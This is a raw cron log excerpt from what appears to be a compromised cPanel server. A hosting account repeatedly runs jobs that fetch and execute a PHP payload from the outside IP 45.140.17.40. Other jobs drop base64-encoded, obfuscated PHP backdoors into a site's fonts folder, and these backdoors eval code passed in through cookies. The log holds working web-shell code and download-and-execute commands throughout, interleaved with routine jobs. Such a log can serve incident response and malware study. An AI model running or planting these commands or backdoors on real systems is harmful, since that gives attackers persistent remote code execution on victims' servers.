Sep 11 19:26:01 ip-184-168-122-23 CROND[24064]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 19:27:01 ip-184-168-122-23 CROND[24165]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:27:01 ip-184-168-122-23 CROND[24166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:27:01 ip-184-168-122-23 CROND[24169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:27:01 ip-184-168-122-23 CROND[24167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:28:02 ip-184-168-122-23 CROND[24253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:28:02 ip-184-168-122-23 CROND[24254]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:28:02 ip-184-168-122-23 CROND[24256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:28:02 ip-184-168-122-23 CROND[24257]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:28:02 ip-184-168-122-23 CROND[24258]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 19:29:01 ip-184-168-122-23 CROND[24438]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:29:01 ip-184-168-122-23 CROND[24439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:29:01 ip-184-168-122-23 CROND[24441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:29:01 ip-184-168-122-23 CROND[24440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:30:01 ip-184-168-122-23 CROND[24532]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 19:30:01 ip-184-168-122-23 CROND[24533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:30:01 ip-184-168-122-23 CROND[24537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:30:01 ip-184-168-122-23 CROND[24538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:30:01 ip-184-168-122-23 CROND[24539]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:30:01 ip-184-168-122-23 CROND[24542]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 19:30:01 ip-184-168-122-23 CROND[24540]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 19:30:01 ip-184-168-122-23 CROND[24543]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 19:31:01 ip-184-168-122-23 CROND[24637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:31:01 ip-184-168-122-23 CROND[24638]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:31:01 ip-184-168-122-23 CROND[24639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:31:01 ip-184-168-122-23 CROND[24641]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 19:31:02 ip-184-168-122-23 CROND[24640]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:32:01 ip-184-168-122-23 CROND[24748]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:32:01 ip-184-168-122-23 CROND[24749]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 19:32:01 ip-184-168-122-23 CROND[24747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:32:01 ip-184-168-122-23 CROND[24750]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:32:01 ip-184-168-122-23 CROND[24751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:33:01 ip-184-168-122-23 CROND[24856]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:33:01 ip-184-168-122-23 CROND[24858]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:33:01 ip-184-168-122-23 CROND[24859]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:33:01 ip-184-168-122-23 CROND[24860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:34:01 ip-184-168-122-23 CROND[25032]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:34:01 ip-184-168-122-23 CROND[25034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:34:01 ip-184-168-122-23 CROND[25035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:34:01 ip-184-168-122-23 CROND[25036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:34:01 ip-184-168-122-23 CROND[25037]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 19:35:01 ip-184-168-122-23 CROND[25136]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 19:35:01 ip-184-168-122-23 CROND[25145]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 19:35:01 ip-184-168-122-23 CROND[25141]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:35:01 ip-184-168-122-23 CROND[25142]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:35:01 ip-184-168-122-23 CROND[25144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:35:01 ip-184-168-122-23 CROND[25140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:35:01 ip-184-168-122-23 CROND[25143]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 19:35:01 ip-184-168-122-23 CROND[25146]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 19:36:01 ip-184-168-122-23 CROND[25277]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:36:01 ip-184-168-122-23 CROND[25278]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 19:36:01 ip-184-168-122-23 CROND[25279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:36:01 ip-184-168-122-23 CROND[25280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:36:01 ip-184-168-122-23 CROND[25281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:37:01 ip-184-168-122-23 CROND[25376]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:37:01 ip-184-168-122-23 CROND[25378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:37:01 ip-184-168-122-23 CROND[25379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:37:01 ip-184-168-122-23 CROND[25380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:38:01 ip-184-168-122-23 CROND[25471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:38:01 ip-184-168-122-23 CROND[25472]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 19:38:01 ip-184-168-122-23 CROND[25474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:38:01 ip-184-168-122-23 CROND[25470]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:38:01 ip-184-168-122-23 CROND[25473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
